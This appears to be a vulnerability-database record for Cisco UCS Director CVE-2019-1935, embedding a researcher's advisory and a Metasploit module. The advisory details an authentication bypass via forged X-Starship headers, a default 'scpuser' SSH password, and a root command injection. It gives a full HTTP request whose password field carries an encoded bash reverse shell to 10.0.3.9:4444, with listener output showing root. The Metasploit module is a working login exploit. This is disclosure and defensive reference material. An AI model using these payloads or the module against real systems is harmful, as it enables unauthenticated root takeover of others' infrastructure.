428\n\n{\"productaccess_id\":0,\"loginName\":\"admin\",\"productId\":\"cloupia_service_portal\",\"accessLevel\":null,\"isEulaAccepted\":false,\"eulaAcceptTime\":null,\"eulaSrcHost\":null,\"restKey\":\"bla\",\"allowedOperations\":null,\"userType\":null,\"server\":null,\"domainName\":null,\"suspend\":false,\"starshipUserId\":null,\"starshipUserLocale\":null,\"isAdminPasswordReset\":true,\"profileId\":0,\"credentialId\":\"\",\"isClassicUIEnabled\":false,\"starshipSessionId\":\"ble\"}\n\n... and just like that, we can see from the information the server\nreturned that we are logged in as the \"admin\" user! From now on, we need\nto use the new JSESSIONID cookie returned by the server in 1.4) to have\nfull administrative access to the UCS web interface. \n\nTo summarise, our exploit needs to:\na) obtain a JSESSIONID cookie\nb) \"authenticate\" it by sending a request to ClientServlet with the\nX-Starship-UserSession-Key and X-Starship-Request-Key HTTP headers set\nto random values\nc) use the new JSESSIONID cookie returned in b) as the \"admin\"\nauthenticated cookie\n\nIn some cases, the server will authenticate the old cookie and not\nreturn a new one, but the effect is the same - the \"old\" JSESSIONID\ncookie will be authenticated as an \"admin\" cookie. \n\nLet\u0027s dig into the decompiled code, and see what is happening under the\nhood. \n\nAll the coding errors that make this possible are in the class\ncom.cloupia.client.web.auth.AuthenticationFilter, which as a\njavax.servlet.Filter subclass whose doFilter() function is invoked on\nevery request that the server receives (as configured by the web\napplication). \n\nA snippet of com.cloupia.client.web.auth.AuthenticationFilter.doFilter()\nis shown below, with comments preceded with ^^^:\n\n public void doFilter(ServletRequest request, ServletResponse\nresponse, FilterChain chain) {\n (...)\n httpRequest = (HttpServletRequest)request;\n logger.debug(\"doFilter url: \" +\nhttpRequest.getRequestURL().toString());\n boolean isAuthenticated = this.authenticateUser(httpRequest);\n ^^^ 1.5) invokes authenticateUser() (function shown below)\n\n String samlLogoutRequest;\n if(!isAuthenticated) {\n ^^^ 1.6) if authenticateUser() returns false, we go into\nthis branch\n\n samlLogoutRequest = request.getParameter(\"SAMLResponse\");\n logger.info(\"samlResponse--\u003e\" + samlLogoutRequest);\n if(samlLogoutRequest != null) {\n this.handleSAMLReponse(request, response, chain,\nsamlLogoutRequest);\n } else {\n ^^^ 1.7) if there is no SAMLResponse HTTP parameter,\nwe go into this branch\n\n HttpSession session;\n ProductAccess userBean;\n String requestedUri;\n if(this.isStarshipRequest(httpRequest)) {\n ^^^ 1.8) checks if isStarshipRequest() returns\ntrue (function shown below)\n\n session = null !=\nhttpRequest.getSession(false)?httpRequest.getSession(false):httpRequest.getSession(true);\n userBean =\n(ProductAccess)session.getAttribute(\"USER_IN_SESSION\");\n if(userBean == null) {\n ^^^ 1.9) if there is no session server side\nfor this request, follow into this branch... \n\n try {\n userBean = new ProductAccess();\n userBean.setCredentialId(\"\");\n userBean.setAdminPasswordReset(true);\n\nuserBean.setProductId(\"cloupia_service_portal\");\n userBean.setProfileId(0);\n\nuserBean.setRestKey(httpRequest.getHeader(\"X-Starship-Request-Key\"));\n\nuserBean.setStarshipUserId(httpRequest.getHeader(\"X-Starship-UserName-Key\"));\n userBean.setLoginName(\"admin\");\n ^^^ 1.10) and create a new session\nwith the user as \"admin\"!\n\n\nuserBean.setStarshipSessionId(httpRequest.getHeader(\"X-Starship-UserSession-Key\"));\n requestedUri =\nhttpRequest.getHeader(\"X-Starship-UserRoles-Key\");\n userBean.setAccessLevel(requestedUri);\n if(requestedUri != null \u0026\u0026\nrequestedUri.equalsIgnoreCase(\"admin\")) {\n AuthenticationManager authmgr =\nAuthenticationManager.getInstance();\n userBean.setAccessLevel(\"Admin\");\n\nauthmgr.evaluateAllowedOperations(userBean);\n }\n\n session.setAttribute(\"USER_IN_SESSION\",\nuserBean);\n session.setAttribute(\"DEFAULT_URL\",\nSTARSHIP_DEFAULT_URL);\n logger.info(\"userBean:\" +\nuserBean.getAccessLevel());\n } catch (Exception var12) {\n logger.info(\"username/password wrong for\nrest api access - \" + var12.getMessage());\n }\n\n logger.info(\"userBean: \" +\nuserBean.getAccessLevel());\n }\n\n chain.doFilter(request, response);\n (...)\n }\n\nAs it can be read in the inline comments in the function above, our\nfirst hurdle at 1.5) is to make authenticateUser() return false:\n\n private boolean authenticateUser(HttpServletRequest request) {\n boolean isValidUser = false;\n HttpSession session = null;\n session = request.getSession(false);\n ^^^ 1.11) get the session for this request\n\n if(session != null) {\n ProductAccess user =\n(ProductAccess)session.getAttribute(\"USER_IN_SESSION\");\n if(user != null) {\n isValidUser = true;\n if(this.isStarshipRequest(request) \u0026\u0026\n!user.isStarshipAccess(request.getHeader(\"X-Starship-UserSession-Key\"))) {\n isValidUser = false;\n } else {\n logger.debug(\"AuthenticationFilter:authenticateUser\n- User \" + user.getLoginName() + \" has been previously authenticated\");\n }\n }\n } else {\n logger.info(\"AuthenticationFilter:authenticateUser - session\nis null\");\n ^^^ 1.12) no session found, return isValidUser which is\nfalse as set at the start of the function\n\n }\n\n return isValidUser;\n }\n\nThis is easily done, and it works as expected - we do not have a\nsession, so at 1.11) the session is null, and then we go into 1.12)\nwhich makes the function return false. \n\nWe now go back to the doFilter() function, and go into the branch in\n1.6). As we have not sent a SAMLResponse HTTP parameter, we follow into\nthe 1.7) branch. \nNow we get to the critical part in 1.8). Here, isStarshipRequest() is\ninvoked, and if it returns true, the server will create an \"admin\"\nsession for us... \n\n private boolean isStarshipRequest(HttpServletRequest httpRequest) {\n return null !=\nhttpRequest.getHeader(\"X-Starship-UserSession-Key\") \u0026\u0026 null !=\nhttpRequest.getHeader(\"X-Starship-Request-Key\");\n }\n\nisStarshipRequest() is shown above, and clearly the only thing we need\nto do to make it return true is to set the X-Starship-UserSession-Key\nand X-Starship-Request-Key HTTP headers. \n\nWe then follow into 1.9) and 1.10), and we get our administrative\nsession without having any credentials at all!\nMoreover, the session is completely stealthy and invisible to other\nusers, as it does not appear in Administration -\u003e Users and Groups -\u003e\nAll Users Login History nor in Administration -\u003e Users and Groups -\u003e\nCurrent Online Users. \n\nAccording to Cisco\u0027s documentation [7]:\n\"An SCP user is used by server diagnostics and tech support upload\noperations for transferring files to the Cisco IMC Supervisor appliance\nusing the SCP protocol. An scp user account cannot be used to login to\nthe Cisco IMC Supervisor UI or the shelladmin.\"\n\nThe web interface contains functionality to change the user password for\nthe \u0027scpuser\u0027 in Administration -\u003e Users and Groups -\u003e SCP User\nConfiguration, and in this page it says:\n\"The \u0027scpuser\u0027 will be configured on this appliance in order to enable\nfile transfer operations via the \u0027scp\u0027 command. This user account cannot\nbe used to login to the GUI or shelladmin\"\n\nApparently this is not true and not only the user can log in via SSH per\ndefault, but it does so with a default password of \u0027scpuser\u0027 if it not\nchanged by the administrator after installation:\nUCS \u003e ssh scpuser@10.0.3.100\nPassword: \u003cscpuser\u003e\n[scpuser@localhost ~]$ whoami\nscpuser\n\n\n#3\nVulnerability: Authenticated command injection via the web interface as\nroot (CWE-78)\nCVE-2019-1936\nCisco Bug ID: CSCvp19245 [4]\nRisk Classification: Critical\nAttack Vector: Remote\nConstraints: requires authentication to the UCS web interface\nAffected versions: confirmed in Cisco UCS Director versions 6.6 and 6.7,\nsee [4] for Cisco\u0027s list of affected versions\n\nAs shown in #2, the web interface contains functionality to change the\nuser password for the \u0027scpuser\u0027 in Administration -\u003e Users and Groups -\u003e\nSCP User Configuration. \n\nThis is handled by the Java class\ncom.cloupia.feature.cimc.forms.SCPUserConfigurationForm in\ndoFormSubmit(), which is shown below, with my markers and comments\npreceded with ^^^:\n\n public FormResult doFormSubmit(String user, ReportContext context,\nString formId, FormFieldData[] data) throws Exception {\n logger.info((Object)\"doFormSubmit invoked \");\n FormResult result = this.validateForm(context,\nthis.getDefinition(), formId, data, true);\n if (result.getStatus() == 0) {\n try {\n SCPUserConfig existingConfig;\n FormFieldDataList datalist = new FormFieldDataList(data);\n String password =\ndatalist.getById(FIELD_ID_PASSWORD).getValue();\n ^^^ 3.1) gets \"password\" from the form sent by\nthe user\n SCPUserConfig newSCPUserConfig = new SCPUserConfig();\n newSCPUserConfig.setPassword(password);\n if (\"**********\".equals(password) \u0026\u0026 (existingConfig =\nCIMCPersistenceUtil.getSCPUserConfig()) != null) {\n\nnewSCPUserConfig.setPassword(existingConfig.getPassword());\n }\n CIMCPersistenceUtil.setSCPUserConfig(newSCPUserConfig);\n Process p = Runtime.getRuntime().exec(new\nString[]{\"/bin/sh\", \"-c\", \"echo -e \\\"\" + password + \"\\\\n\" + password +\n\"\\\" | (passwd --stdin \" + \"scpuser\" + \")\"});\n ^^^ 3.2) runs /bin/sh with \"password\" argument\n p.waitFor();\n datalist.getById(FIELD_ID_PASSWORD).setValue(\"**********\");\n result.setStatus(2);\n\nresult.setStatusMessage(RBUtil.getString((String)\"CIMCControllerFeature.form.scpuser.success.label\"));\n return result;\n }\n catch (Exception ex) {\n result.setStatusMessage(ex.getMessage());\n result.setStatus(1);\n return result;\n }\n }\n return result;\n }\n}\n\nIn 3.1) we see that the function gets the \"password\" field from the from\nsent by the user, and in 3.2) it passes this input directly to\nRuntime.getRuntime().exec(), which leads to a clear command injection. \nThis is run as root, as the web server runs as root and superuser access\nwould be necessary anyway to change a password of another user. \n\nTo obtain a reverse shell, we can send the following payload to\nClientServlet, which will then invoke the\nSCPUserConfigurationForm.doFormSubmit():\nPOST /app/ui/ClientServlet HTTP/1.1\nHost: 10.0.3.100\nReferer: https://10.0.3.100/app/ux/index.html\nX-Requested-With: XMLHttpRequest\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nContent-Length: 945\nCookie:\nJSESSIONID=C72361B8C66F8FDF871F94C1FC1E07974E9B5B9E1C953D713E4DC305CB2D4CD1\n\nformatType=json\u0026apiName=ExecuteGenericOp\u0026serviceName=InfraMgr\u0026opName=doFormSubmit\u0026opData=%7B%22param0%22%3A%22admin%22%2C%22param1%22%3A%7B%22ids%22%3Anull%2C%22targetCuicId%22%3Anull%2C%22uiMenuTag%22%3A23%2C%22cloudName%22%3Anull%2C%22filterId%22%3Anull%2C%22id%22%3Anull%2C%22type%22%3A10%7D%2C%22param2%22%3A%22scpUserConfig%22%2C%22param3%22%3A%5B%7B%22fieldId%22%3A%22FIELD_ID_USERNAME%22%2C%22value%22%3A%22scpuser%22%7D%2C%7B%22fieldId%22%3A%22FIELD_ID_DESCRIPTION%22%2C%22value%22%3A%22The%20\u0027scpuser\u0027%20will%20be%20configured%20on%20this%20appliance%20in%20order%20to%20enable%20file%20transfer%20operations%20via%20the%20\u0027scp\u0027%20command.%20This%20user%20account%20cannot%20be%20used%20to%20login%20to%20the%20GUI%20or%20shelladmin.%22%7D%2C%7B%22fieldId%22%3A%22FIELD_ID_PASSWORD%22%2C%22value%22%3A%22%60%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%33%2e%39%2f%34%34%34%34%20%30%3e%26%31%60%22%7D%5D%7D\n\nIn the example above, the FIELD_ID_PASSWORD is set to \"`bash -i \u003e\u0026\n/dev/tcp/10.0.3.9/4444 0\u003e\u00261`\", which returns a reverse shell to host\n10.0.3.9 on port 4444 running as root:\n\nUCS \u003e nc -lvkp 4444\nListening on [0.0.0.0] (family 0, port 4444)\nConnection from 10.0.3.100 55432 received!\nbash: no job control in this shell\n[root@localhost inframgr]# whoami\nroot\n\n\n\u003e\u003e Exploitation summary:\nBy chaining vulnerability #1 (authentication bypass) with vulnerability\n#3 (authenticated command injection as root), it is clear that an\nunauthenticated attacker with no privileges on the system can execute\ncode as root, leading to total compromise of Cisco UCS Director. Agile InfoSec does not verify this information, except when\nspecifically mentioned in this advisory or when requested or contracted\nby the vendor to do so. \nUnconfirmed vendor fixes might be ineffective or incomplete, and it is\nthe vendor\u0027s responsibility to ensure the vulnerabilities found by Agile\nInformation Security are resolved properly. \nAgile Information Security Limited does not accept any responsibility,\nfinancial or otherwise, from any material losses, loss of life or\nreputational loss as a result of misuse of the information or code\ncontained or mentioned in this advisory. \nIt is the vendor\u0027s responsibility to ensure their products\u0027 security\nbefore, during and after release to market. \n\nAll information, code and binary data in this advisory is released to\nthe public under the GNU General Public License, version 3 (GPLv3). \nFor information, code or binary data obtained from other sources that\nhas a license which is incompatible with GPLv3, the original license\nprevails. \nFor more information check https://www.gnu.org/licenses/gpl-3.0.en.html\n\n================\nAgile Information Security Limited\nhttp://www.agileinfosec.co.uk/\n\u003e\u003e Enabling secure digital business. \n-- \nPedro Ribeiro\nVulnerability and Reverse Engineer / Cyber Security Specialist\n\npedrib@gmail.com\nPGP: 4CE8 5A3D 133D 78BB BC03 671C 3C39 4966 870E 966C\n\n. ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire \u0027net/ssh\u0027\nrequire \u0027net/ssh/command_stream\u0027\n\nclass MetasploitModule \u003c Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::SSH\n\n def initialize(info={})\n super(update_info(info,\n \u0027Name\u0027 =\u003e \"Cisco UCS Director default scpuser password\",\n \u0027Description\u0027 =\u003e %q{\n This module abuses a known default password on Cisco UCS Director. \n },\n \u0027License\u0027 =\u003e MSF_LICENSE,\n \u0027Author\u0027 =\u003e\n [\n \u0027Pedro Ribeiro \u003cpedrib[at]gmail.com\u003e\u0027 # Vulnerability discovery and Metasploit module\n ],\n \u0027References\u0027 =\u003e\n [\n [ \u0027CVE\u0027, \u00272019-1935\u0027 ],\n [ \u0027URL\u0027, \u0027https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred\u0027 ],\n [ \u0027URL\u0027, \u0027https://seclists.org/fulldisclosure/2019/Aug/36\u0027 ],\n [ \u0027URL\u0027, \u0027https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt\u0027 ]\n ],\n \u0027DefaultOptions\u0027 =\u003e\n {\n \u0027EXITFUNC\u0027 =\u003e \u0027thread\u0027\n },\n \u0027Payload\u0027 =\u003e\n {\n \u0027Compat\u0027 =\u003e {\n \u0027PayloadType\u0027 =\u003e \u0027cmd_interact\u0027,\n \u0027ConnectionType\u0027 =\u003e \u0027find\u0027\n }\n },\n \u0027Platform\u0027 =\u003e \u0027unix\u0027,\n \u0027Arch\u0027 =\u003e ARCH_CMD,\n \u0027Targets\u0027 =\u003e\n [\n [ \u0027Cisco UCS Director \u003c 6.7.2.0\u0027, {} ],\n ],\n \u0027Privileged\u0027 =\u003e false,\n \u0027DefaultTarget\u0027 =\u003e 0,\n \u0027DisclosureDate\u0027 =\u003e \u0027Aug 21 2019\u0027\n ))\n\n register_options(\n [\n Opt::RPORT(22),\n OptString.new(\u0027USERNAME\u0027, [true, \"Username to login with\", \u0027scpuser\u0027]),\n OptString.new(\u0027PASSWORD\u0027, [true, \"Password to login with\", \u0027scpuser\u0027]),\n ], self.class\n )\n\n register_advanced_options(\n [\n OptBool.new(\u0027SSH_DEBUG\u0027, [false, \u0027Enable SSH debugging output (Extreme verbosity!)\u0027, false]),\n OptInt.new(\u0027SSH_TIMEOUT\u0027, [false, \u0027Specify the maximum time to negotiate a SSH session\u0027, 30])\n ]\n )\n end\n\n def rhost\n datastore[\u0027RHOST\u0027]\n end\n\n def rport\n datastore[\u0027RPORT\u0027]\n end\n\n def do_login(user, pass)\n factory = ssh_socket_factory\n opts = {\n :auth_methods =\u003e [\u0027password\u0027, \u0027keyboard-interactive\u0027],\n :port =\u003e rport,\n :use_agent =\u003e false,\n :config =\u003e false,\n :password =\u003e pass,\n :proxy =\u003e factory,\n :non_interactive =\u003e true,\n :verify_host_key =\u003e :never\n }\n\n opts.merge!(:verbose =\u003e :debug) if datastore[\u0027SSH_DEBUG\u0027]\n\n begin\n ssh = nil\n ::Timeout.timeout(datastore[\u0027SSH_TIMEOUT\u0027]) do\n ssh = Net::SSH.start(rhost, user, opts)\n end\n rescue Rex::ConnectionError\n return\n rescue Net::SSH::Disconnect, ::EOFError\n print_error \"#{rhost}:#{rport} SSH - Disconnected during negotiation\"\n return\n rescue ::Timeout::Error\n print_error \"#{rhost}:#{rport} SSH - Timed out during negotiation\"\n return\n rescue Net::SSH::AuthenticationFailed\n print_error \"#{rhost}:#{rport} SSH - Failed authentication\"\n rescue Net::SSH::Exception =\u003e e\n print_error \"#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}\"\n return\n end\n\n if ssh\n conn = Net::SSH::CommandStream.new(ssh)\n ssh = nil\n return conn\n end\n\n return nil\n end\n\n def exploit\n user = datastore[\u0027USERNAME\u0027]\n pass = datastore[\u0027PASSWORD\u0027]\n\n print_status(\"#{rhost}:#{rport} - Attempt to login to the Cisco appliance...\")\n conn = do_login(user, pass)\n if conn\n print_good(\"#{rhost}:#{rport} - Login Successful (#{user}:#{pass})\")\n handler(conn.lsock)\n end\n end\nend\n", "sources": [ { "db": "NVD", "id": "CVE-2019-1935" }, { "db": "JVNDB", "id": "JVNDB-2019-008543" }, { "db": "VULHUB", "id": "VHN-151787" }, { "db": "PACKETSTORM", "id": "154239" }, { "db": "PACKETSTORM", "id": "154305" } ], "trust": 1.89 }, "exploit_availability": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/exploit_availability#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "reference": "https://www.scap.org.cn/vuln/vhn-151787", "trust": 0.1, "type": "unknown" } ], "sources": [ { "db": "VULHUB", "id": "VHN-151787" } ] }, "external_ids": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/external_ids#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "db": "NVD", "id": "CVE-2019-1935", "trust": 2.7 }, { "db": "PACKETSTORM", "id": "154239", "trust": 1.8 }, { "db": "PACKETSTORM", "id": "154305", "trust": 1.2 }, { "db": "JVNDB", "id": "JVNDB-2019-008543", "trust": 0.8 }, { "db": "CNNVD", "id": "CNNVD-201908-1721", "trust": 0.7 }, { "db": "EXPLOIT-DB", "id": "47346", "trust": 0.6 }, { "db": "AUSCERT", "id": "ESB-2019.3212", "trust": 0.6 }, { "db": "VULHUB", "id": "VHN-151787", "trust": 0.1 } ], "sources": [ { "db": "VULHUB", "id": "VHN-151787" }, { "db": "JVNDB", "id": "JVNDB-2019-008543" }, { "db": "PACKETSTORM", "id": "154239" }, { "db": "PACKETSTORM", "id": "154305" }, { "db": "CNNVD", "id": "CNNVD-201908-1721" }, { "db": "NVD", "id": "CVE-2019-1935" } ] }, "id": "VAR-201908-0544", "iot": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/iot#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": true, "sources": [ { "db": "VULHUB", "id": "VHN-151787" } ], "trust": 0.01 }, "last_update_date": "2024-11-23T21:59:48.590000Z", "patch": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/patch#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "title": "cisco-sa-20190821-imcs-usercred", "trust": 0.8, "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred" }, { "title": "Cisco Integrated Management Controller Supervisor , Cisco UCS Director and Cisco UCS Director Express for Big Data Repair measures for trust management problem vulnerabilities", "trust": 0.6, "url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=97313" } ], "sources": [ { "db": "JVNDB", "id": "JVNDB-2019-008543" }, { "db": "CNNVD", "id": "CNNVD-201908-1721" } ] }, "problemtype_data": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/problemtype_data#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "problemtype": "CWE-798", "trust": 1.9 } ], "sources": [ { "db": "VULHUB", "id": "VHN-151787" }, { "db": "JVNDB", "id": "JVNDB-2019-008543" }, { "db": "NVD", "id": "CVE-2019-1935" } ] }, "references": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/references#", "data": { "@container": "@list" }, "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": [ { "trust": 1.8, "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20190821-imcs-usercred" }, { "trust": 1.7, "url": "http://packetstormsecurity.com/files/154239/cisco-ucs-imc-supervisor-authentication-bypass-command-injection.html" }, { "trust": 1.6, "url": "https://nvd.nist.gov/vuln/detail/cve-2019-1935" }, { "trust": 1.1, "url": "https://seclists.org/bugtraq/2019/aug/49" }, { "trust": 1.1, "url": "http://seclists.org/fulldisclosure/2019/aug/36" }, { "trust": 1.1, "url": "http://packetstormsecurity.com/files/154305/cisco-ucs-director-default-scpuser-password.html" }, { "trust": 0.8, "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2019-1935" }, { "trust": 0.6, "url": "https://vigilance.fr/vulnerability/cisco-ucs-director-three-vulnerabilities-30177" }, { "trust": 0.6, "url": "https://www.auscert.org.au/bulletins/esb-2019.3212/" }, { "trust": 0.6, "url": "https://www.exploit-db.com/exploits/47346" }, { "trust": 0.1, "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20190821-imcs-ucs-authby" }, { "trust": 0.1, "url": "https://www.accenture.com/us-en/service-idefense-security-intelligence" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2019-1936" }, { "trust": 0.1, "url": "https://10.0.3.100/app/ux/index.html" }, { "trust": 0.1, "url": "https://10.0.3.100/app/ui/login.jsp" }, { "trust": 0.1, "url": "https://www.cisco.com/c/en/us/products/servers-unified-computing/ucs-director/index.html" }, { "trust": 0.1, "url": "https://www.cisco.com/c/en/us/td/docs/unified_computing/ucs/ucs-director/rack-server-guide/6-7/cisco-ucs-director-rack-server-mgmt-guide-67/cisco-ucs-director-rack-server-mgmt-guide-67_chapter_01011.html#task_1599289a49fb49d48486a66a8358a2ad" }, { "trust": 0.1, "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20190821-imcs-ucs-cmdinj" }, { "trust": 0.1, "url": "https://www.gnu.org/licenses/gpl-3.0.en.html" }, { "trust": 0.1, "url": "https://www.cisco.com/c/en/us/support/servers-unified-computing/ucs-director-evaluation/model.html" }, { "trust": 0.1, "url": "https://10.0.3.100/" }, { "trust": 0.1, "url": "http://www.agileinfosec.co.uk/" }, { "trust": 0.1, "url": "https://nvd.nist.gov/vuln/detail/cve-2019-1937" }, { "trust": 0.1, "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20190821-imcs-usercred\u0027" }, { "trust": 0.1, "url": "https://seclists.org/fulldisclosure/2019/aug/36\u0027" }, { "trust": 0.1, "url": "https://github.com/rapid7/metasploit-framework" }, { "trust": 0.1, "url": "https://raw.githubusercontent.com/pedrib/poc/master/advisories/cisco-ucs-rce.txt\u0027" }, { "trust": 0.1, "url": "https://metasploit.com/download" } ], "sources": [ { "db": "VULHUB", "id": "VHN-151787" }, { "db": "JVNDB", "id": "JVNDB-2019-008543" }, { "db": "PACKETSTORM", "id": "154239" }, { "db": "PACKETSTORM", "id": "154305" }, { "db": "CNNVD", "id": "CNNVD-201908-1721" }, { "db": "NVD", "id": "CVE-2019-1935" } ] }, "sources": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#", "data": { "@container": "@list" } }, "data": [ { "db": "VULHUB", "id": "VHN-151787" }, { "db": "JVNDB", "id": "JVNDB-2019-008543" }, { "db": "PACKETSTORM", "id": "154239" }, { "db": "PACKETSTORM", "id": "154305" }, { "db": "CNNVD", "id": "CNNVD-201908-1721" }, { "db": "NVD", "id": "CVE-2019-1935" } ] }, "sources_release_date": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#", "data": { "@container": "@list" } }, "data": [ { "date": "2019-08-21T00:00:00", "db": "VULHUB", "id": "VHN-151787" }, { "date": "2019-09-03T00:00:00", "db": "JVNDB", "id": "JVNDB-2019-008543" }, { "date": "2019-08-28T19:18:22", "db": "PACKETSTORM", "id": "154239" }, { "date": "2019-09-02T18:06:40", "db": "PACKETSTORM", "id": "154305" }, { "date": "2019-08-21T00:00:00", "db": "CNNVD", "id": "CNNVD-201908-1721" }, { "date": "2019-08-21T19:15:15.277000", "db": "NVD", "id": "CVE-2019-1935" } ] }, "sources_update_date": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#", "data": { "@container": "@list" } }, "data": [ { "date": "2019-08-30T00:00:00", "db": "VULHUB", "id": "VHN-151787" }, { "date": "2019-09-03T00:00:00", "db": "JVNDB", "id": "JVNDB-2019-008543" }, { "date": "2019-09-05T00:00:00", "db": "CNNVD", "id": "CNNVD-201908-1721" }, { "date": "2024-11-21T04:37:43.173000", "db": "NVD", "id": "CVE-2019-1935" } ] }, "threat_type": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/threat_type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "remote", "sources": [ { "db": "CNNVD", "id": "CNNVD-201908-1721" } ], "trust": 0.6 }, "title": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/title#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "plural Cisco Vulnerabilities related to the use of hard-coded credentials in products", "sources": [ { "db": "JVNDB", "id": "JVNDB-2019-008543" } ], "trust": 0.8 }, "type": { "@context": { "@vocab": "https://www.variotdbs.pl/ref/type#", "sources": { "@container": "@list", "@context": { "@vocab": "https://www.variotdbs.pl/ref/sources#" } } }, "data": "trust management problem", "sources": [ { "db": "CNNVD", "id": "CNNVD-201908-1721" } ], "trust": 0.6 } }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.